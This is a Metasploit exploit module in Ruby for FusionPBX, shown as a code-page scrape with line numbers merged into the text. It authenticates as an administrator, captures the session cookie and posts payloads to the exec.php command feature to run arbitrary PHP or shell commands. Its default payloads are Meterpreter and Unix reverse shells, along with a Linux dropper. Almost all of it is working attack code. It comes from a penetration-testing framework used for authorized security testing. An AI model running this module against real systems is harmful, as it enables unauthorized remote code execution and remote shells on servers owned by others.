Path: blob/master/modules/exploits/unix/webapp/fusionpbx_exec_cmd_exec.rb
31956 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::CmdStager1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'FusionPBX Command exec.php Command Execution',16'Description' => %q{17This module uses administrative functionality available in FusionPBX18to gain a shell.1920The Command section of the application permits users with `exec_view`21permissions, or superadmin permissions, to execute arbitrary system22commands, or arbitrary PHP code, as the web server user.2324This module has been tested successfully on FusionPBX version254.4.1 on Ubuntu 19.04 (x64).26},27'License' => MSF_LICENSE,28'Author' => ['bcoles'],29'References' => [30['URL', 'https://docs.fusionpbx.com/en/latest/advanced/command.html']31],32'Targets' => [33[34'Automatic (PHP In-Memory)',35{36'Platform' => 'php',37'Arch' => ARCH_PHP,38'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' },39'Type' => :php_memory40}41],42[43'Automatic (Unix In-Memory)',44{45'Platform' => 'unix',46'Arch' => ARCH_CMD,47'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },48'Type' => :unix_memory49}50],51[52'Automatic (Linux Dropper)',53{54'Platform' => 'linux',55'Arch' => [ARCH_X86, ARCH_X64],56'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },57'Type' => :linux_dropper58}59]60],61'Privileged' => false,62'DefaultOptions' => { 'SSL' => true, 'RPORT' => 443 },63'DisclosureDate' => '2019-11-02',64'DefaultTarget' => 0,65'Notes' => {66'Reliability' => UNKNOWN_RELIABILITY,67'Stability' => UNKNOWN_STABILITY,68'SideEffects' => UNKNOWN_SIDE_EFFECTS69}70)71)72register_options [73OptString.new('TARGETURI', [true, 'The base path to FusionPBX', '/']),74OptString.new('USERNAME', [true, 'The username for FusionPBX', 'admin']),75OptString.new('PASSWORD', [true, 'The password for FusionPBX'])76]77end7879def login(user, pass)80vprint_status "Authenticating as user '#{user}'"8182vars_post = {83username: user,84password: pass,85path: ''86}8788res = send_request_cgi({89'method' => 'POST',90'uri' => normalize_uri(target_uri.path, 'core/user_settings/user_dashboard.php'),91'vars_post' => vars_post92})9394unless res95fail_with Failure::Unreachable, 'Connection failed'96end9798if res.code == 302 && res.headers['location'].include?('login.php')99fail_with Failure::NoAccess, "Login failed for user '#{user}'"100end101102unless res.code == 200103fail_with Failure::UnexpectedReply, "Unexpected HTTP response status code #{res.code}"104end105106cookie = res.get_cookies.to_s.scan(/PHPSESSID=(.+?);/).flatten.first107108unless cookie109fail_with Failure::UnexpectedReply, 'Failed to retrieve PHPSESSID cookie'110end111112print_good "Authenticated as user '#{user}'"113114cookie115end116117def check118res = send_request_cgi({119'uri' => normalize_uri(target_uri.path)120})121122unless res123vprint_error 'Connection failed'124return CheckCode::Unknown125end126127if res.body.include?('FusionPBX')128return CheckCode::Detected129end130131CheckCode::Safe132end133134def execute_command(cmd, opts = {})135vars_post = {136handler: 'php',137table_name: '',138sql_type: '',139id: '',140cmd: cmd141}142143case opts[:handler]144when 'php'145vars_post[:handler] = 'php'146when 'shell'147vars_post[:handler] = 'shell'148when 'switch'149vars_post[:handler] = 'switch'150vars_post[:cmd] = "bg_system #{cmd}"151else152vars_post[:handler] = 'shell'153end154155res = send_request_cgi({156'method' => 'POST',157'uri' => normalize_uri(target_uri.path, 'app/exec/exec.php'),158'cookie' => "PHPSESSID=#{@cookie}",159'vars_post' => vars_post160}, 5)161162unless res163return if session_created?164165fail_with Failure::Unreachable, 'Connection failed'166end167168unless res.code == 200169fail_with Failure::UnexpectedReply, "Unexpected HTTP response status code #{res.code}"170end171172if res.body.include? 'access denied'173fail_with Failure::NoAccess, "User #{datastore['USERNAME']} does not have permission to execute #{vars_post[:handler]} #{vars_post[:handler].eql?('php') ? 'code' : 'commands'}"174end175176res177end178179def exploit180unless check == CheckCode::Detected181fail_with Failure::NotVulnerable, "#{peer} - Target is not vulnerable"182end183184@cookie = login(datastore['USERNAME'], datastore['PASSWORD'])185186print_status "Sending payload (#{payload.encoded.length} bytes) ..."187188case target['Type']189when :php_memory190execute_command(payload.encoded, handler: 'php')191when :unix_memory192execute_command(payload.encoded, handler: 'shell')193when :linux_dropper194execute_cmdstager(linemax: 1_500, handler: 'shell')195end196end197end198199200